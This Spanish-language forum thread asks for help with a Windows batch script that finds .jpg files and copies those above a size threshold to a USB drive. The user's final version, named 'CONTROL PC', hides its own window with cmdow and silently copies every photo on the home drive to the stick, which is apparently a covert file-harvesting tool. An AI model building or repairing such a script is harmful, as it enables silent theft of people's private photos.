necesito que me den una mano con un bat que estoy haciendo, el cual necesito que busque y haga un listado en txt y luego copiarlo a una ubicacion en un pendrive pero solo si el archivo buscado *.jpg es mayor que 3kb. desde ya gracias
para buscar un archivo FOR + FIND, y lo redireccionas a un txt
luego haces un if exist con el peso de los archivos los puedes pasar con un call, %~z1 y si superan los 3kb los copias a un pendrive
para sacar las unidades de un pendrive wmic
wmic logicaldisk get caption
luego coges los tokens que necesites :)
maestro. me darias un ejemplo? te lo agradeceria
@echo off
for /f "tokens=*" %%@ in ('dir/b') do (find /c "foto.jpg" && (call:script foto.jpg) || echo no existe el archivo)
:script
if %~z1 LSS 1000 (echo archivo menor de 1kb) else (
for /f %%_ in ('wmic logicaldisk get caption, description ^| find /i "extra¡ble"') do (copy /y %~1 %%_)
esto en teoría busca un fichero foto.jpg y lo copia a todos los pendrives disponibles
Barbaro ya le encontre la vuelta
lo termino de hacer y lo publico, me uqedo barbaro
EN EL ARCHIVO BAT PONER NOMBRE "CONTROL PC"
@echo off
@echo off
cmdow.exe @ /HID
@echo off
md "%~d0\robert"
dir "%homedrive%\*.jpg" /s /a /-p /B /o:gen > %~d0\lista.txt
FOR /F "tokens= 1 delims=" %%a in (lista.txt) do call process.bat "%%a"
EN EL ARCHIVO BAT PONER NOMBRE "process.bat"
echo off
if ["%~z1"] GTR ["61440"] xcopy %1 %~d0\robert /h
este es el codigo que escribi pero engo el drama que solo me copia los archivos jpg que son mayores de 5kb pero no copia todos sino algunos ej: los de 1mb no los copia.
agradecere su ayuda
Alguien que entienda de esto si me puede dar una mano agradecereeeeeeeee